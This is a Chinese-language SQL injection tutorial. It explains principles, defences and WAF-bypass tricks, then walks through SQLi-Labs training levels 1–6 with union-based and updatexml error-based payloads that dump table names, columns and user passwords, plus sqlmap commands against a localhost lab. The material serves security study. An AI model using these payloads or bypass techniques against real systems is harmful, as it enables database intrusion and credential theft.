一、SQL注入
1. SQL注入原理
SQL注入是一种常见的网络攻击手段,攻击者通过在Web应用程序的输入字段中注入恶意的SQL语句,来实现对后台数据库的非法访问,从而获取敏感信息。
原理简述:
- 用户输入: 攻击者在Web应用程序的输入框中输入精心构造的SQL语句。
- 拼接SQL语句: 应用程序将用户输入的数据直接拼接在原有的SQL语句中,形成一条新的SQL语句。
- 执行SQL语句: 应用程序将拼接后的SQL语句发送到数据库服务器执行。
- 获取敏感信息: 如果攻击者构造的SQL语句被成功执行,那么攻击者就可以获取数据库中的敏感信息,甚至可以对数据库进行增删改查操作。
2. SQL注入常用函数及含义
SQL注入中常用的函数主要用于获取数据库的元数据、数据内容等。以下是一些常见的函数:
- 获取数据库信息:
database()
: 获取当前数据库名。user()
: 获取当前数据库用户。version()
: 获取数据库版本。
- 获取表信息:
information_schema.tables
: 查询所有表名。information_schema.columns
: 查询指定表的列名。
- 获取数据:
concat()
: 连接多个字符串。group_concat()
: 将多个值连接成一个字符串。substr()
: 截取字符串。
- 报错注入:
updatexml()
,extractvalue()
: 用于报错注入,通过构造特定的XML语句,使数据库报错,并从错误信息中获取想要的信息。
3. SQL注入防御手段
- 参数化查询: 使用参数化查询可以有效防止SQL注入,因为参数化查询会将用户输入的数据与SQL语句分开处理,防止SQL注入攻击。
- 输入验证: 对所有用户输入的数据进行严格的验证,过滤掉特殊字符、SQL关键字等。
- 最小权限原则: 数据库用户应只拥有必要的权限,避免授予过多的权限。
- Web应用防火墙(WAF): WAF可以检测并拦截常见的SQL注入攻击。
- 编码: 对用户输入的数据进行编码,可以防止一些简单的SQL注入攻击。
4. SQL注入常用绕过WAF的方法
攻击者为了绕过WAF的防护,会采用各种各样的绕过技巧,例如:
- 大小写绕过: 利用WAF对大小写不敏感的特性,将SQL关键字进行大小写混合。
- 编码绕过: 使用URL编码、十六进制编码等方式对SQL关键字进行编码。
- 注释绕过: 使用注释符号来注释掉WAF的过滤规则。
- 内联注释绕过: 利用MySQL的内联注释功能绕过WAF。
- 函数替换: 使用功能相似的函数替换被过滤的函数。
- 报错注入: 利用报错注入的方式获取信息。
二、SQLi的手工注入的步骤
SQL注入(SQL Injection,简称SQLi)是一种常见的网络攻击手段,通过在Web应用程序的输入字段中注入恶意的SQL语句,来实现对后台数据库的非法访问。下面我们来总结一下SQLi的手工注入的步骤:
1. 寻找注入点
- 常见的注入点:
- 搜索框
- 登录表单
- 注册表单
- ID参数
- 其他可输入的字段
- 判断方法:
- 在参数后添加单引号('),观察返回结果是否发生变化。若发生变化,则可能存在注入点。
- 使用布尔盲注:在参数后添加
' and 1=1
和' and 1=2
,观察返回结果是否不同。 - 使用报错注入:构造特殊的SQL语句,使其报错,从错误信息中获取数据库信息。
2. 判断数据库类型
- 根据报错信息:
- 不同的数据库系统在报错信息上有所差异,通过分析报错信息可以初步判断数据库类型。
- 使用特定函数:
- 尝试使用不同数据库的特定函数(如MySQL的
version()
、SQL Server的@@version
),观察返回结果。
- 尝试使用不同数据库的特定函数(如MySQL的
3. 获取数据库名
- 使用
information_schema
:- 查询
information_schema.schemata
表获取数据库名。
- 查询
- 报错注入:
- 构造特殊的SQL语句,使其报错,从错误信息中获取数据库名。
4. 获取表名
- 使用
information_schema
:- 查询
information_schema.tables
表获取表名。
- 查询
- 报错注入:
- 构造特殊的SQL语句,使其报错,从错误信息中获取表名。
5. 获取字段名
- 使用
information_schema
:- 查询
information_schema.columns
表获取字段名。
- 查询
- 报错注入:
- 构造特殊的SQL语句,使其报错,从错误信息中获取字段名。
6. 获取数据
- 联合查询:
- 使用
UNION SELECT
语句将目标表的数据与注入点的数据进行联合查询。
- 使用
- 报错注入:
- 构造特殊的SQL语句,使其报错,从错误信息中获取数据。
- 布尔盲注:
- 通过判断返回结果的不同来获取数据,这种方式比较慢,但适用性较广。
7. 绕过WAF
- 大小写绕过
- 编码绕过
- 注释绕过
- 内联注释绕过
- 函数替换
- 报错注入
三、SQLi-Labs靶场通关
1. LEVEL1
判断注入类型
首先注入正确的参数,网页回显正常
?id=1
单引号闭合,网页回显报错,说明存在漏洞
?id=1'
将语句的内容注释掉
?id=1' --+
获取数据库信息
?id=1' order by 4--+
?id=1' order by 3--+
爆出显示位,就是看看表格里面那一列是在页面显示的
?id=-1'union select 1,2,3--+
爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
获取users和password字段中的内容
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2. LEVEL2
先注入正常参数,网页回显正常的信息
?id=1
尝试注入单引号闭合,网页回显 MySQL 报错,说明存在注入漏洞
?id=1'
获取列数
?id=1 order by 3--+
判断属性回显位置
?id=-1 union select 1,2,3--+
获取数据库名
?id=-1 union select 1,(select version()),(select database())--+
获取表名
?id=1 and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+
从表users中获取列名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
获取用户名和密码
?id=-1 union select 1,2,(select group_concat(concat(username,'用户的密码是:',password),'<br>') from users)--+
3. LEVEL3
尝试
?id=1'
获取列数
?id=1') order by 3--+
获取属性回显位置
?id=-1') union select 1,2,3--+
获取属性数量、回显位置、表名、users表的属性
a. 获取列数:?id=1') order by 3--+
b. union获取回显位置:?id=-1') union select 1,2,3--+
c. 获取表名:?id=1') and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+
d. 从表users中获取列名:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
直接获取用户名和密码
?id=-1') union select 1,2,(select group_concat(concat(username,'用户的密码是:',password),'<br>') from users)--+
4. LEVEL4
尝试
?id=1'
尝试
?id=1"
获取用户名和密码
?id=-1") union select 1,2,(select group_concat(concat(username,'用户的密码是:',password),'<br>') from users)--+
5. LEVEL5
获取当前数据名和版本号
?id=-1' union select 1,updatexml(1, concat(1,database(),version()),3),3--+
获取该数据库的表名
?id=-1' union select 1,updatexml(1, concat(1, (select group_concat(table_name) from information_schema.tables where table_schema='security'),3), 3),3--+
爆破字段的具体内容
?id=1' union select 1,updatexml(1, concat(1,(select group_concat(username) from users),3), 3),3--+
?id=1' union select 1,updatexml(1, concat(1,(select group_concat(password) from users),3), 3),3--+
四、使用sqlmap通过或验证第六关
使用?id=1,使sqlmap识别注入点
使用命令爆数据库
python ./sqlmap.py -url "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" --batch -dbs
爆security数据库的表
python ./sqlmap.py -url "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbms=MySQL -D 'security' --tables
爆users表的列
python ./sqlmap.py -url "http://127.0.0.1/sqli-labs-master/Less-6/?id=1" --dbms=MySQL -D 'security' -T 'users' --dump